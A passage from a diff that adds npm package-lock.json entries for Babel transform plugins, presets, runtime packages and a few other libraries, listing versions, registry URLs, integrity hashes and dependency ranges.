+ "integrity": "sha512-XVh0r5yq9sLR4vZ6eVZe8FKfIcSgaTBxVBRSYokRj2qksf6QerYnTxz9/GTuKTH/n/HwLP7t6gtlybHetJ/6hQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.16.7.tgz", + "integrity": "sha512-Lyttaao2SjZF6Pf4vk1dVKv8YypMpomAbygW+mU5cYP3S5cWTfCJjG8xV6CFdzGFlfWK81IjL9viiTvpb6G7gQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.16.7.tgz", + "integrity": "sha512-03DvpbRfvWIXyK0/6QiR1KMTWeT6OcQ7tbhjrXyFS02kjuX/mu5Bvnh5SDSWHxyawit2g5aWhKwI86EE7GUnTw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.16.7.tgz", + "integrity": "sha512-8UYLSlyLgRixQvlYH3J2ekXFHDFLQutdy7FfFAMm3CPZ6q9wHCwnUyiXpQCe3gVVnQlHc5nsuiEVziteRNTXEA==", + "dev": true, + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.16.7.tgz", + "integrity": "sha512-/QZm9W92Ptpw7sjI9Nx1mbcsWz33+l8kuMIQnDwgQBG5s3fAfQvkRjQ7NqXhtNcKOnPkdICmUHyCaWW06HCsqg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.16.7.tgz", + "integrity": "sha512-SU/C68YVwTRxqWj5kgsbKINakGag0KTgq9f2iZEXdStoAbOzLHEBRYzImmA6yFo8YZhJVflvXmIHUO7GWHmxxA==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.16.7.tgz", + "integrity": "sha512-6tH8RTpTWI0s2sV6uq3e/C9wPo4PTqqZps4uF0kzQ9/xPLFQtipynvmT1g/dOfEJ+0EQsHhkQ/zyRId8J2b8zQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.16.7.tgz", + "integrity": "sha512-mBruRMbktKQwbxaJof32LT9KLy2f3gH+27a5XSuXo6h7R3vqltl0PgZ80C8ZMKw98Bf8bqt6BEVi3svOh2PzMw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.16.7.tgz", + "integrity": "sha512-KaaEtgBL7FKYwjJ/teH63oAmE3lP34N3kshz8mm4VMAw7U3PxjVwwUmxEFksbgsNUaO3wId9R2AVQYSEGRa2+g==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.17.7.tgz", + "integrity": "sha512-ITPmR2V7MqioMJyrxUo2onHNC3e+MvfFiFIR0RP21d3PtlVb6sfzoxNKiphSZUOM9hEIdzCcZe83ieX3yoqjUA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-simple-access": "^7.17.7", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.17.8.tgz", + "integrity": "sha512-39reIkMTUVagzgA5x88zDYXPCMT6lcaRKs1+S9K6NKBPErbgO/w/kP8GlNQTC87b412ZTlmNgr3k2JrWgHH+Bw==", + "dev": true, + "dependencies": { + "@babel/helper-hoist-variables": "^7.16.7", + "@babel/helper-module-transforms": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-validator-identifier": "^7.16.7", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.16.7.tgz", + "integrity": "sha512-EMh7uolsC8O4xhudF2F6wedbSHm1HHZ0C6aJ7K67zcDNidMzVcxWdGr+htW9n21klm+bOn+Rx4CBsAntZd3rEQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.16.8.tgz", + "integrity": "sha512-j3Jw+n5PvpmhRR+mrgIh04puSANCk/T/UA3m3P1MjJkhlK906+ApHhDIqBQDdOgL/r1UYpz4GNclTXxyZrYGSw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.16.7.tgz", + "integrity": "sha512-xiLDzWNMfKoGOpc6t3U+etCE2yRnn3SM09BXqWPIZOBpL2gvVrBWUKnsJx0K/ADi5F5YC5f8APFfWrz25TdlGg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.16.7.tgz", + "integrity": "sha512-14J1feiQVWaGvRxj2WjyMuXS2jsBkgB3MdSN5HuC2G5nRspa5RK9COcs82Pwy5BuGcjb+fYaUj94mYcOj7rCvw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-replace-supers": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.16.7.tgz", + "integrity": "sha512-AT3MufQ7zZEhU2hwOA11axBnExW0Lszu4RL/tAlUJBuNoRak+wehQW8h6KcXOcgjY42fHtDxswuMhMjFEuv/aw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.16.7.tgz", + "integrity": "sha512-z4FGr9NMGdoIl1RqavCqGG+ZuYjfZ/hkCIeuH6Do7tXmSm0ls11nYVSJqFEUOSJbDab5wC6lRE/w6YjVcr6Hqw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.16.7.tgz", + "integrity": "sha512-qgIg8BcZgd0G/Cz916D5+9kqX0c7nPZyXaP8R2tLNN5tkyIZdG5fEwBrxwplzSnjC1jvQmyMNVwUCZPcbGY7Pg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.17.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.17.3.tgz", + "integrity": "sha512-9tjBm4O07f7mzKSIlEmPdiE6ub7kfIe6Cd+w+oQebpATfTQMAgW+YOuWxogbKVTulA+MEO7byMeIUtQ1z+z+ZQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-jsx": "^7.16.7", + "@babel/types": "^7.17.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.16.7.tgz", + "integrity": "sha512-RMvQWvpla+xy6MlBpPlrKZCMRs2AGiHOGHY3xRwl0pEeim348dDyxeH4xBsMPbIMhujeq7ihE702eM2Ew0Wo+A==", + "dev": true, + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.16.7.tgz", + "integrity": "sha512-hs71ToC97k3QWxswh2ElzMFABXHvGiJ01IB1TbYQDGeWRKWz/MPUTh5jGExdHvosYKpnJW5Pm3S4+TA3FyX+GA==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.16.7.tgz", + "integrity": "sha512-mF7jOgGYCkSJagJ6XCujSQg+6xC1M77/03K2oBmVJWoFGNUtnVJO4WHKJk3dnPC8HCcj4xBQP1Egm8DWh3Pb3Q==", + "dev": true, + "dependencies": { + "regenerator-transform": "^0.14.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.16.7.tgz", + "integrity": "sha512-KQzzDnZ9hWQBjwi5lpY5v9shmm6IVG0U9pB18zvMu2i4H90xpT4gmqwPYsn8rObiadYe2M0gmgsiOIF5A/2rtg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.17.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.17.0.tgz", + "integrity": "sha512-fr7zPWnKXNc1xoHfrIU9mN/4XKX4VLZ45Q+oMhfsYIaHvg7mHgmhfOy/ckRWqDK7XF3QDigRpkh5DKq6+clE8A==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.5.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.16.7.tgz", + "integrity": "sha512-hah2+FEnoRoATdIb05IOXf+4GzXYTq75TVhIn1PewihbpyrNWUt2JbudKQOETWw6QpLe+AIUpJ5MVLYTQbeeUg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.16.7.tgz", + "integrity": "sha512-+pjJpgAngb53L0iaA5gU/1MLXJIfXcYepLgXB3esVRf4fqmj8f2cxM3/FKaHsZms08hFQJkFccEWuIpm429TXg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.16.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.16.7.tgz", + "integrity": "sha512-NJa0Bd/87QV5NZZzTuZG5BPJjLYadeSZ9fO6oOUoL4iQx+9EEuw/eEM92SrsT19Yc2jgB1u1hsjqDtH02c3Drw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.16.7.tgz", + "integrity": "sha512-VwbkDDUeenlIjmfNeDX/V0aWrQH2QiVyJtwymVQSzItFDTpxfyJh3EVaQiS0rIN/CqbLGr0VcGmuwyTdZtdIsA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.16.7.tgz", + "integrity": "sha512-p2rOixCKRJzpg9JB4gjnG4gjWkWa89ZoYUnl9snJ1cWIcTH/hvxZqfO+WjG6T8DRBpctEol5jw1O5rA8gkCokQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.16.7.tgz", + "integrity": "sha512-TAV5IGahIz3yZ9/Hfv35TV2xEm+kaBDaZQCn2S/hG9/CZ0DktxJv9eKfPc7yYCvOYR4JGx1h8C+jcSOvgaaI/Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.16.7.tgz", + "integrity": "sha512-oC5tYYKw56HO75KZVLQ+R/Nl3Hro9kf8iG0hXoaHP7tjAyCpvqBiSNe6vGrZni1Z6MggmUOC6A7VP7AVmw225Q==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.16.11", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.16.11.tgz", + "integrity": "sha512-qcmWG8R7ZW6WBRPZK//y+E3Cli151B20W1Rv7ln27vuPaXU/8TKms6jFdiJtF7UDTxcrb7mZd88tAeK9LjdT8g==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.16.8", + "@babel/helper-compilation-targets": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-validator-option": "^7.16.7", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.16.7", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.16.7", + "@babel/plugin-proposal-async-generator-functions": "^7.16.8", + "@babel/plugin-proposal-class-properties": "^7.16.7", + "@babel/plugin-proposal-class-static-block": "^7.16.7", + "@babel/plugin-proposal-dynamic-import": "^7.16.7", + "@babel/plugin-proposal-export-namespace-from": "^7.16.7", + "@babel/plugin-proposal-json-strings": "^7.16.7", + "@babel/plugin-proposal-logical-assignment-operators": "^7.16.7", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.7", + "@babel/plugin-proposal-numeric-separator": "^7.16.7", + "@babel/plugin-proposal-object-rest-spread": "^7.16.7", + "@babel/plugin-proposal-optional-catch-binding": "^7.16.7", + "@babel/plugin-proposal-optional-chaining": "^7.16.7", + "@babel/plugin-proposal-private-methods": "^7.16.11", + "@babel/plugin-proposal-private-property-in-object": "^7.16.7", + "@babel/plugin-proposal-unicode-property-regex": "^7.16.7", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-transform-arrow-functions": "^7.16.7", + "@babel/plugin-transform-async-to-generator": "^7.16.8", + "@babel/plugin-transform-block-scoped-functions": "^7.16.7", + "@babel/plugin-transform-block-scoping": "^7.16.7", + "@babel/plugin-transform-classes": "^7.16.7", + "@babel/plugin-transform-computed-properties": "^7.16.7", + "@babel/plugin-transform-destructuring": "^7.16.7", + "@babel/plugin-transform-dotall-regex": "^7.16.7", + "@babel/plugin-transform-duplicate-keys": "^7.16.7", + "@babel/plugin-transform-exponentiation-operator": "^7.16.7", + "@babel/plugin-transform-for-of": "^7.16.7", + "@babel/plugin-transform-function-name": "^7.16.7", + "@babel/plugin-transform-literals": "^7.16.7", + "@babel/plugin-transform-member-expression-literals": "^7.16.7", + "@babel/plugin-transform-modules-amd": "^7.16.7", + "@babel/plugin-transform-modules-commonjs": "^7.16.8", + "@babel/plugin-transform-modules-systemjs": "^7.16.7", + "@babel/plugin-transform-modules-umd": "^7.16.7", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.16.8", + "@babel/plugin-transform-new-target": "^7.16.7", + "@babel/plugin-transform-object-super": "^7.16.7", + "@babel/plugin-transform-parameters": "^7.16.7", + "@babel/plugin-transform-property-literals": "^7.16.7", + "@babel/plugin-transform-regenerator": "^7.16.7", + "@babel/plugin-transform-reserved-words": "^7.16.7", + "@babel/plugin-transform-shorthand-properties": "^7.16.7", + "@babel/plugin-transform-spread": "^7.16.7", + "@babel/plugin-transform-sticky-regex": "^7.16.7", + "@babel/plugin-transform-template-literals": "^7.16.7", + "@babel/plugin-transform-typeof-symbol": "^7.16.7", + "@babel/plugin-transform-unicode-escapes": "^7.16.7", + "@babel/plugin-transform-unicode-regex": "^7.16.7", + "@babel/preset-modules": "^0.1.5", + "@babel/types": "^7.16.8", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.5.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", + "core-js-compat": "^3.20.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.16.7.tgz", + "integrity": "sha512-fWpyI8UM/HE6DfPBzD8LnhQ/OcH8AgTaqcqP2nGOXEUV+VKBR5JRN9hCk9ai+zQQ57vtm9oWeXguBCPNUjytgA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-validator-option": "^7.16.7", + "@babel/plugin-transform-react-display-name": "^7.16.7", + "@babel/plugin-transform-react-jsx": "^7.16.7", + "@babel/plugin-transform-react-jsx-development": "^7.16.7", + "@babel/plugin-transform-react-pure-annotations": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.17.8.tgz", + "integrity": "sha512-dQpEpK0O9o6lj6oPu0gRDbbnk+4LeHlNcBpspf6Olzt3GIX4P1lWF1gS+pHLDFlaJvbR6q7jCfQ08zA4QJBnmA==", + "dependencies": { + "regenerator-runtime": "^0.13.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime-corejs2": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.17.8.tgz", + "integrity": "sha512-KWN7KTjojEVk+hhT7EtvWtSBTueqnPiCT2xPoDFF+ept2Sx9UKnLY7hGsnrNsdx7jvMUQnHoDS6AHCys7i15LA==", + "dependencies": { + "core-js": "^2.6.5", + "regenerator-runtime": "^0.13.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime-corejs2/node_modules/core-js": { + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/@babel/runtime-corejs3": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.17.8.tgz", + "integrity": "sha512-ZbYSUvoSF6dXZmMl/CYTMOvzIFnbGfv4W3SEHYgMvNsFTeLaF2gkGAF4K2ddmtSK4Emej+0aYcnSC6N5dPCXUQ==", + "dependencies": { + "core-js-pure": "^3.20.2", + "regenerator-runtime": "^0.13.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.16.7.tgz", + "integrity": "sha512-I8j/x8kHUrbYRTUxXrrMbfCa7jxkE7tZre39x3kjr9hvI82cK1FfqLygotcWN5kdPGWcLdWMHpSBavse5tWw3w==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.16.7", + "@babel/parser": "^7.16.7", + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.17.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.17.3.tgz", + "integrity": "sha512-5irClVky7TxRWIRtxlh2WPUUOLhcPN06AGgaQSB8AEwuyEBgJVuJ5imdHm5zxk8w0QS5T+tDfnDxAlhWjpb7cw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.16.7", + "@babel/generator": "^7.17.3", + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-hoist-variables": "^7.16.7", + "@babel/helper-split-export-declaration": "^7.16.7", + "@babel/parser": "^7.17.3", + "@babel/types": "^7.17.0", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.17.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.17.0.tgz", + "integrity": "sha512-TmKSNO4D5rzhL5bjWFcVHHLETzfQ/AmbKpKPOSjlP0WoHZ6L911fgoOKY4Alp/emzG4cHJdyN49zpgkbXFEHHw==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.16.7", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@discoveryjs/json-ext": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==", + "dev": true, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "peer": true, + "dependencies": { + "@types/hammerjs": "^2.0.36" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@emotion/cache": { + "version": "10.0.29", + "resolved": 